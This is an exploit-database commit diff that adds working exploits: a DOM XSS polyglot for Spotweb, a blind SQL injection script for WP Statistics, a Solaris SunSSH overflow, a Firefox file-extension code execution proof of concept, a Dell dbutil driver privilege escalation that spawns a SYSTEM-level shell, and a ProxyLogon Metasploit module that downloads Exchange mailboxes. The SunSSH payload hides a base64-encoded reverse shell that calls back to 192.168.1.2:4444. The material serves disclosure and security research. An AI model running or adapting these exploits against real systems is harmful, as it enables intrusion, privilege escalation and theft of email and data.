DB: 2021-05-22

6 changes to exploits/shellcodes Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) Solaris SunSSH 11.0 x86 - libpam Remote Root (2) Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS) WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated) Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
2021-05-22 05:01:54 +00:00 · 2021-05-22 05:01:54 +00:00 · fae217f419
commit fae217f419
parent eeec67ddf9
7 changed files with 782 additions and 0 deletions
--- a/exploits/multiple/webapps/49891.txt
+++ b/exploits/multiple/webapps/49891.txt
@ -0,0 +1,65 @@
+# Exploit Title: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS) 
+# Exploit Author: @nu11secur1ty
+# Date: 05.20.2021
+# Software Link: https://github.com/spotweb/spotweb
+# Proof: https://streamable.com/hix5o1
+
+[+] Exploit Source:
+#!/usr/bin/python3
+# Author: @nu11secur1ty
+
+from selenium import webdriver
+import time
+import os, sys
+
+
+# Vendor: https://www.nzbserver.com/
+# Jump over login form :D
+website_link="http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"
+
+# enter your login username
+username="nu11secur1ty"
+
+# enter your login password
+password="password"
+
+#enter the element for username input field
+element_for_username="loginform[username]"
+
+#enter the element for password input field
+element_for_password="loginform[password]"
+
+#enter the element for submit button
+element_for_submit="loginform[submitlogin]"
+
+
+#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
+browser = webdriver.Chrome() #uncomment this line,for chrome users
+#browser = webdriver.Firefox() #uncomment this line,for chrome users
+
+time.sleep(3)
+browser.get((website_link))
+
+try:
+username_element = browser.find_element_by_name(element_for_username)
+username_element.send_keys(username)
+password_element  = browser.find_element_by_name(element_for_password)
+password_element.send_keys(password)
+signInButton = browser.find_element_by_name(element_for_submit)
+signInButton.click()
+
+# Exploit Cross Site Scripting (DOM Based)
+# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+
+time.sleep(1)
+# Payload link "esc-rule"
+browser.get(("http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'""))
+
+print("The payload is deployed DOM is BOMing you ':))'...\n")
+os.system('pause')
+
+browser.close()
+
+except Exception:
+#### This exception occurs if the element are not found in the webpage.
+print("DOM...")
--- a/exploits/php/webapps/49894.sh
+++ b/exploits/php/webapps/49894.sh
@ -0,0 +1,130 @@
+# Exploit Title: WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated)
+# Date: 20/05/2021
+# Exploit Author: Mansoor R (@time4ster)
+# CVSS Score: 7.5 (High)
+# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+# Version Affected: 13.0 to 13.0.7
+# Vendor URL: https://wordpress.org/plugins/wp-statistics/
+# Patch: Upgrade to wp-statistics 13.0.8 (or above)
+# Tested On: wp-statistics 13.0.6,13.0.7
+
+#!/bin/bash
+
+# Credits: 
+# https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
+
+# SQLmap Exploit for grepping database banner (automated):
+# sqlmap -u "http://192.168.1.54/wordpress/wp-admin/admin.php?ID=1&page=wps_pages_page&type=1" --techniqu=T --dbms="mysql" -p "ID" -b
+
+# WARNINGS: 
+# Only test the exploit on websites you are authorized to.
+# The exploit will perform sleep for 3 seconds. Don't use on production server of organization without prior permissions.
+
+
+# Exploit
+# ==============
+
+echo
+echo "============================================================================================"
+echo "Unauthenticated Time-Based Blind SQL Injection in WP Statistics < 13.0.8"
+echo
+echo "By: Mansoor R (@time4ster)"
+echo "============================================================================================"
+echo
+
+
+
+function printHelp()
+{
+	echo -e "
+Usage:
+
+-u|--wp-url      <string>		Wordpress target url
+-k|--check				Only checks whether vulnerable version of plugin is running or not.
+-h|--help				Print Help menu
+
+
+Example:
+./wp-statistics-exploit.sh --wp_url https://www.example.com/wordpress 
+./wp-statistics-exploit.sh --wp_url https://www.example.com/wordpress --check
+"
+}
+
+#Processing arguments
+check="false"
+exploit="true"
+while [[ "$#" -gt 0 ]]
+do
+key="$1"
+
+case "$key" in
+    -u|--wp-url)
+	    wp_url="$2"
+	    shift
+	    shift # past argument
+	    ;;
+    -k|--check)
+	    check="true"
+	    exploit="false"
+	    shift
+	    shift
+	    ;;
+    -h|--help)
+	    printHelp
+	    exit
+	    shift
+	    ;;
+    *)   
+	    echo [-] Enter valid options
+	    exit
+	    ;;
+esac
+done
+
+[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL. Use -h for help menu." && exit
+
+function checkVersion()
+{
+	url="$1"
+	[[ -z "$url" ]] && return
+	target_endpoint="$url/wp-content/plugins/wp-statistics/readme.txt"
+	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
+
+	version=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -i -m 1 "stable tag:" | grep -o -E "[0-9]+\.[0-9]+\.[0-9]+")
+	[[ -n "$version" ]] && echo "[+] WP-statistical Plugin Version: $version" 
+	[[ -z "$version" ]] && echo "[-] WP-statistical Unable to detect version." && return
+
+	vuln_version=(13.0.7 13.0.6 13.0.5 13.0.4 13.0.3 13.0.1 13.0)
+	is_vulnerable="false"
+	for v in "${vuln_version[@]}";do 
+		[[ "$version" == "$v" ]] && is_vulnerable="true" && break	
+	done
+	[[ "$is_vulnerable" == "true" ]] && echo "[++] Target $url is Vulnerable"
+	[[ "$is_vulnerable" == "false" ]] && echo "[--] Target $url is  Not Vulnerable"
+}
+
+function exploitPlugin()
+{
+	url="$1"
+	target_endpoint="$url/wp-admin/admin.php"
+	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
+	sleep=3
+	payload="ID=1 AND (SELECT * from (select SLEEP($sleep))a)"
+	
+	echo -e -n "[!] Caution: You are going to execute sleep database command for $sleep seconds. Proceed only if you have permission.\nPress (Y/y) to continue or any other key to exit: "
+	read choice
+	[[ "$choice" != "y" ]] && [[ "$choice" != "Y" ]] && return
+
+	echo
+	echo "[+] Trying Payload:"	
+	set -x
+	curl -v -ks -G --user-agent "$user_agent" "$target_endpoint" \
+		--data-urlencode "page=wps_pages_page" \
+		--data-urlencode "type=1" \
+		--data-urlencode "$payload"
+	
+
+}
+
+[[ "$check" == "true" ]] && checkVersion "$wp_url"
+[[ "$exploit" == "true" ]] && exploitPlugin "$wp_url"
--- a/exploits/solaris/remote/49896.py
+++ b/exploits/solaris/remote/49896.py
@ -0,0 +1,37 @@
+# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root (2)
+# Original Exploit Author: Hacker Fantastic
+# Metasploit Module Author: wvu 
+# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris10-overview.html
+# Version: 10
+# Tested on: SunOS solaris 10
+# CVE: CVE-2020-14871
+# Ported By: legend
+
+import socket
+import paramiko
+from time import sleep
+
+payload = b"A"*516+ b"\x04\x39\xbb\xfe" + b"\x19\xf8\xf0\x14" + b"\x01\x01\x04\x08" + b"\x07\xba\x05\x08" + b"\xd0\x56\xbb\xfe" + b"\xdf\x1e\xc2\xfe" + b"\x8c\x60\xfe\x56" + b"\xf1\xe3\xc3\xfe"
+payload+=b"python${IFS}-c${IFS}\""
+
+# msfvenom -p python/shell_reverse_tcp -b "\x00\x09\x20" LHOST=192.168.1.2 LPORT=4444
+payload+=b"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCBhcyBzCmltcG9ydCBzdWJwcm9jZXNzIGFzIHIKc289cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pCnNvLmNvbm5lY3QoKCcxOTIuMTY4LjEuMicsNDQ0NCkpCndoaWxlIFRydWU6CglkPXNvLnJlY3YoMTAyNCkKCWlmIGxlbihkKT09MDoKCQlicmVhawoJcD1yLlBvcGVuKGQsc2hlbGw9VHJ1ZSxzdGRpbj1yLlBJUEUsc3Rkb3V0PXIuUElQRSxzdGRlcnI9ci5QSVBFKQoJbz1wLnN0ZG91dC5yZWFkKCkrcC5zdGRlcnIucmVhZCgpCglzby5zZW5kKG8pCg==')[0]))"
+payload+=b"\""
+
+print("Length => %d" % (len(payload)))
+def inter_handler(title, instructions, prompt_list):
+    resp = []  #Initialize the response container
+    for pr in prompt_list:
+        print(pr)
+        if pr[0].startswith('Please enter user name:'):
+            sleep(10) 
+            resp.append(payload)
+            print("Your payload is sended check your nc")
+    return tuple(resp)
+
+import socket
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect(("192.168.1.2", 22))
+ts = paramiko.Transport(sock)
+ts.start_client(timeout=10)
+ts.auth_interactive(username="", handler=inter_handler)
--- a/exploits/windows/local/49892.py
+++ b/exploits/windows/local/49892.py
@ -0,0 +1,70 @@
+# Exploit Title: Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code
+# Date: 20/05/2021
+# Exploit Authors: Carlo Di Dato and Michael Caruso from BestEffort Team (https://besteffortteam.it)
+# Vendor Homepage: https://www.mozilla.org
+# Version: <= 88.0.1
+# Tested on: Windows XP Professional SP3 32-bit, Windows 7 Professional SP1 64-bit, Windows 10 20H2 (build SO 19042.805)
+# Blog: https://besteffortteam.it/mozilla-firefox-content-type-confusion-unsafe-code-execution/
+
+A vulnerability has been identified in the way Mozilla Firefox handles downloaded files on Windows.
+Unlike the other most used browsers (Google Chrome, Internet Explorer, Edge), the action Mozilla Firefox takes is based on the "Content-Type" attribute.
+Let's consider a scenario in which a server responds to the client in this way:
+
+Content-Type: audio/mpeg
+Content-Disposition: attachment; filename="test.jpg"
+
+What one would expect, is that Mozilla Firefox will handle the file as an image (.jpg) but it is not and the "open-with" window will ask the user to open a mp3 file.
+By itself, this is not a problem (although we do not agree with the choice), however we have found that in a particular circumstance, it is possible to "confuse" Firefox using a combination of "Content-Type" attribute and file extension which leads to the arbitrary execution of code. Specifically, if a server responds with a "Content-Type: text/html" and a filename that has the extension ".jpg", Mozilla Firefox will show the end user an "open-with" mask, asking to open the jpg file with the default program (usually a browser), but will download the above mentioned file into the system's temporary folder using the extension ".html". Subsequently, the downloaded file will be opened using the default program for .html files (browsers). It is easy to understand that it is possible to create a fake image, containing JavaScript code, which will lead to the execution of the code itself.
+
+As proof of concept, we used the following ready-made python web-server
+(server.py):
+
+try:
+    import http.server as BaseHTTPServer # Python 3.x
+except ImportError:
+    import BaseHTTPServer # Python 2.x
+import os
+import shutil
+import sys
+
+FILEPATH = sys.argv[1] if sys.argv[1:] else __file__
+
+class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
+    def do_GET(self):
+        with open(FILEPATH, 'rb') as f:
+            self.send_response(200)
+            #self.send_header("Content-Type", 'text/html')
+            self.send_header("Content-Disposition", 'attachment;filename="{}"'.format(os.path.basename(FILEPATH)))
+            fs = os.fstat(f.fileno())
+            self.send_header("Content-Length", str(fs.st_size))
+            self.end_headers()
+            shutil.copyfileobj(f, self.wfile)
+
+def test(HandlerClass=SimpleHTTPRequestHandler,
+    ServerClass=BaseHTTPServer.HTTPServer,
+    protocol="HTTP/1.0"):
+    if sys.argv[2:]:
+        port = int(sys.argv[2])
+    else:
+        port = 8000
+    server_address = ('', port)
+
+    HandlerClass.protocol_version = protocol
+    httpd = BaseHTTPServer.HTTPServer(server_address, HandlerClass)
+
+    sa = httpd.socket.getsockname()
+    print("Serving HTTP on {0[0]} port {0[1]} ... {1}".format(sa, FILEPATH))
+    httpd.serve_forever()
+
+if __name__ == '__main__':
+test()
+
+a fake jpeg (test.jpg) containing the following code:
+
+<script>
+alert("D'oh! This is not a jpeg file!!!");
+</script>
+
+Then we ran the python script in this way: python server.py test.jpg
+
+Once a user browse the malicious server, Mozilla Firefox will ask for opening the file and, if the user click confirms the operation, the file will be downloaded and executed.
--- a/exploits/windows/local/49893.c++
+++ b/exploits/windows/local/49893.c++
@ -0,0 +1,219 @@
+# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
+# Date: 10/05/2021
+# Exploit Author: Paolo Stagno aka VoidSec
+# Version: <= 2.3
+# CVE: CVE-2021-21551
+# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
+# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/
+
+#include <iostream>
+#include <windows.h>
+#include <winternl.h>
+#include <tlhelp32.h>
+#include <algorithm>
+
+#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
+#define SystemHandleInformation 0x10
+#define SystemHandleInformationSize 1024 * 1024 * 2
+
+// define the buffer structure which will be sent to the vulnerable driver
+typedef struct Exploit
+{
+	uint64_t    Field1;     // "padding" can be anything
+	void*		Field2;		// where to write
+	uint64_t    Field3;     // must be 0
+	uint64_t    Field4;     // value to write
+};
+
+typedef struct outBuffer
+{
+	uint64_t    Field1;
+	uint64_t	Field2;
+	uint64_t    Field3;
+	uint64_t    Field4;
+};
+
+// define a pointer to the native function 'NtQuerySystemInformation'
+using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
+	ULONG SystemInformationClass,
+	PVOID SystemInformation,
+	ULONG SystemInformationLength,
+	PULONG ReturnLength);
+
+// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
+{
+	USHORT UniqueProcessId;
+	USHORT CreatorBackTraceIndex;
+	UCHAR ObjectTypeIndex;
+	UCHAR HandleAttributes;
+	USHORT HandleValue;
+	PVOID Object;
+	ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+
+// define the SYSTEM_HANDLE_INFORMATION structure
+typedef struct _SYSTEM_HANDLE_INFORMATION
+{
+	ULONG NumberOfHandles;
+	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
+
+int main(int argc, char** argv)
+{
+
+	// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
+	HANDLE device = ::CreateFileW(
+		L"\\\\.\\DBUtil_2_3",
+		GENERIC_WRITE | GENERIC_READ,
+		NULL,
+		nullptr,
+		OPEN_EXISTING,
+		NULL,
+		NULL);
+	if (device == INVALID_HANDLE_VALUE)
+	{
+		std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";
+
+	// resolve the address of NtQuerySystemInformation and assign it to a function pointer
+	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
+	if (!NtQuerySystemInformation)
+	{
+		std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Resolved NtQuerySystemInformation!\n";
+
+	// open the current process token - it will be used to retrieve its kernelspace address later
+	HANDLE currentProcess = ::GetCurrentProcess();
+	HANDLE currentToken = NULL;
+	bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
+	if (!success)
+	{
+		std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Opened a handle to the current process token!\n";
+
+	// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
+	PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
+
+	// call NtQuerySystemInformation and fill the handleTableInformation structure
+	ULONG returnLength = 0;
+	NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
+
+	uint64_t tokenAddress = 0;
+	// iterate over the system's handle table and look for the handles beloging to our process
+	for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
+	{
+		SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
+		// if it finds our process and the handle matches the current token handle we already opened, print it
+		if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
+		{
+			tokenAddress = (uint64_t)handleInfo.Object;
+			std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
+		}
+	}
+
+	outBuffer buffer =
+	{
+		0,
+		0,
+		0,
+		0
+	};
+
+	/*
+	dt nt!_SEP_TOKEN_PRIVILEGES
+	   +0x000 Present          : Uint8B
+	   +0x008 Enabled          : Uint8B
+	   +0x010 EnabledByDefault : Uint8B
+
+	We've added +1 to the offsets to ensure that the low bytes part are 0xff.
+	*/
+
+	// overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token
+	Exploit exploit =
+	{
+		0x4141414142424242,
+		(void*)(tokenAddress + 0x40),
+		0x0000000000000000,
+		0xffffffffffffffff
+	};
+
+	// overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token
+	Exploit exploit2 =
+	{
+		0x4141414142424242,
+		(void*)(tokenAddress + 0x48),
+		0x0000000000000000,
+		0xffffffffffffffff
+	};
+
+	// overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token
+	Exploit exploit3 =
+	{
+		0x4141414142424242,
+		(void*)(tokenAddress + 0x50),
+		0x0000000000000000,
+		0xffffffffffffffff
+	};
+
+	DWORD bytesReturned = 0;
+	success = DeviceIoControl(
+		device,
+		IOCTL_CODE,
+		&exploit,
+		sizeof(exploit),
+		&buffer,
+		sizeof(buffer),
+		&bytesReturned,
+		nullptr);
+	if (!success)
+	{
+		std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
+
+	success = DeviceIoControl(
+		device,
+		IOCTL_CODE,
+		&exploit2,
+		sizeof(exploit2),
+		&buffer,
+		sizeof(buffer),
+		&bytesReturned,
+		nullptr);
+	if (!success)
+	{
+		std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
+
+	success = DeviceIoControl(
+		device,
+		IOCTL_CODE,
+		&exploit3,
+		sizeof(exploit3),
+		&buffer,
+		sizeof(buffer),
+		&bytesReturned,
+		nullptr);
+	if (!success)
+	{
+		std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
+	std::cout << "[+] Token privileges successfully overwritten!\n";
+	std::cout << "[+] Spawning a new shell with full privileges!\n";
+
+	system("cmd.exe");
+
+	return 0;
+}
--- a/exploits/windows/webapps/49895.rb
+++ b/exploits/windows/webapps/49895.rb
@ -0,0 +1,255 @@
+# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
+# Date: 2021-03-02
+# Exploit Author: RAMELLA Sébastien
+# Vendor Homepage: https://microsoft.com
+# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
+           Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
+           Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
+# Tested on: Microsoft Windows 2012 R2 - Exchange 2016
+
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+# begin auxiliary class
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Microsoft Exchange ProxyLogon Collector',
+        'Description' => %q{
+          This module scan for a vulnerability on Microsoft Exchange Server that
+          allows an attacker bypassing the authentication and impersonating as the
+          admin (CVE-2021-26855).
+
+          By chaining this bug with another post-auth arbitrary-file-write
+          vulnerability to get code execution (CVE-2021-27065).
+
+          As a result, an unauthenticated attacker can execute arbitrary commands on
+          Microsoft Exchange Server.
+
+          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
+          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
+          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
+
+          All components are vulnerable by default.
+        },
+        'Author' => [
+          'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
+        ],
+        'References' => [
+          ['CVE', '2021-26855'],
+          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
+          ['URL', 'https://proxylogon.com/'],
+          ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],
+          ['URL', 'http://aka.ms/exchangevulns']
+        ],
+        'DisclosureDate' => '2021-03-02',
+        'License' => MSF_LICENSE,
+        'DefaultOptions' => {
+          'RPORT' => 443,
+          'SSL' => true
+        },
+        'Notes' => {
+          'AKA' => ['ProxyLogon']
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('EMAIL', [true, 'The email account what you want dump']),
+      OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
+      OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])
+    ])
+
+    register_advanced_options([
+      OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])
+    ])
+  end
+
+  XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
+
+  def grab_contacts
+    response = send_xml(soap_findcontacts)
+    xml = Nokogiri::XML.parse(response.body)
+
+    data = xml.xpath('//t:Contact', XMLNS)
+    if data.empty?
+      print_status(' - the user has no contacts')
+    else
+      write_loot(data.to_s)
+    end
+  end
+
+  def grab_emails(total_count)
+    # get the emails list of the target folder.
+    response = send_xml(soap_maillist(total_count))
+    xml = Nokogiri::XML.parse(response.body)
+
+    # iteration to download the emails.
+    xml.xpath('//t:ItemId', XMLNS).each do |item|
+      print_status(" - download item: #{item.values[1]}")
+      response = send_xml(soap_download(item.values[0], item.values[1]))
+      xml = Nokogiri::XML.parse(response.body)
+
+      message = xml.at_xpath('//t:MimeContent', XMLNS).content
+      write_loot(Rex::Text.decode_base64(message))
+    end
+  end
+
+  def send_xml(data)
+    uri = normalize_uri('ecp', 'temp.js')
+
+    received = send_request_cgi(
+      'method' => 'POST',
+      'uri' => uri,
+      'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;",
+      'ctype' => 'text/xml; charset=utf-8',
+      'data' => data
+    )
+    fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received
+
+    received
+  end
+
+  def soap_download(id, change_key)
+    <<~SOAP
+      <?xml version="1.0" encoding="utf-8"?>
+      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
+      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
+      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+        <soap:Body>
+          <m:GetItem>
+            <m:ItemShape>
+              <t:BaseShape>IdOnly</t:BaseShape>
+              <t:IncludeMimeContent>true</t:IncludeMimeContent>
+            </m:ItemShape>
+            <m:ItemIds>
+              <t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
+            </m:ItemIds>
+          </m:GetItem>
+        </soap:Body>
+      </soap:Envelope>
+    SOAP
+  end
+
+  def soap_findcontacts
+    <<~SOAP
+      <?xml version='1.0' encoding='utf-8'?>
+      <soap:Envelope
+      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
+      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
+      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
+      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
+        <soap:Body>
+          <m:FindItem Traversal='Shallow'>
+            <m:ItemShape>
+              <t:BaseShape>AllProperties</t:BaseShape>
+            </m:ItemShape>
+            <m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" />
+            <m:ParentFolderIds>
+              <t:DistinguishedFolderId Id='contacts'>
+                <t:Mailbox>
+                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
+                </t:Mailbox>
+              </t:DistinguishedFolderId>
+            </m:ParentFolderIds>
+          </m:FindItem>
+        </soap:Body>
+      </soap:Envelope>
+    SOAP
+  end
+
+  def soap_mailnum
+    <<~SOAP
+      <?xml version="1.0" encoding="utf-8"?>
+      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
+      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
+      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+        <soap:Body>
+          <m:GetFolder>
+            <m:FolderShape>
+              <t:BaseShape>Default</t:BaseShape>
+            </m:FolderShape>
+            <m:FolderIds>
+              <t:DistinguishedFolderId Id="#{datastore['FOLDER']}">
+                <t:Mailbox>
+                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
+                </t:Mailbox>
+              </t:DistinguishedFolderId>
+            </m:FolderIds>
+          </m:GetFolder>
+        </soap:Body>
+      </soap:Envelope>
+    SOAP
+  end
+
+  def soap_maillist(max_entries)
+    <<~SOAP
+      <?xml version='1.0' encoding='utf-8'?>
+      <soap:Envelope
+      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
+      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
+      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
+      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
+        <soap:Body>
+          <m:FindItem Traversal='Shallow'>
+            <m:ItemShape>
+              <t:BaseShape>AllProperties</t:BaseShape>
+            </m:ItemShape>
+            <m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
+            <m:ParentFolderIds>
+              <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>
+                <t:Mailbox>
+                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
+                </t:Mailbox>
+              </t:DistinguishedFolderId>
+            </m:ParentFolderIds>
+          </m:FindItem>
+        </soap:Body>
+      </soap:Envelope>
+    SOAP
+  end
+
+  def write_loot(data)
+    loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')
+    print_good(" - file saved to #{loot_path}")
+  end
+
+  def run
+    # get the informations about the targeted user account.
+    response = send_xml(soap_mailnum)
+    if response.body =~ /Success/
+      print_status('Connection to the server is successful')
+      print_status(" - selected account: #{datastore['EMAIL']}\n")
+
+      # grab contacts.
+      print_status('Attempt to dump contacts list for this user')
+      grab_contacts
+
+      print_line
+
+      # grab emails.
+      print_status('Attempt to dump emails for this user')
+      xml = Nokogiri::XML.parse(response.body)
+      folder_id = xml.at_xpath('//t:FolderId', XMLNS).values
+      print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})")
+
+      total_count = xml.at_xpath('//t:TotalCount', XMLNS).content
+      print_status(" - number of email found: #{total_count}")
+
+      if total_count.to_i > datastore['MaxEntries']
+        print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}")
+        total_count = datastore['MaxEntries'].to_s
+      end
+      grab_emails(total_count)
+    end
+  end
+
+end
--- a/files_exploits.csv
+++ b/files_exploits.csv
@ -11333,6 +11333,8 @@ id,file,description,date,author,type,platform,port
 49888,exploits/windows/local/49888.txt,"ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path",2021-05-20,"Alejandra Sánchez",local,windows,
 49889,exploits/windows/local/49889.txt,"Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path",2021-05-20,"Emmanuel Lujan",local,windows,
 49890,exploits/windows/local/49890.txt,"Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe'  Unquoted Service Path",2021-05-20,"Emmanuel Lujan",local,windows,
+49892,exploits/windows/local/49892.py,"Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code",2021-05-21,"BestEffort Team",local,windows,
+49893,exploits/windows/local/49893.c++,"DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)",2021-05-21,"Paolo Stagno",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
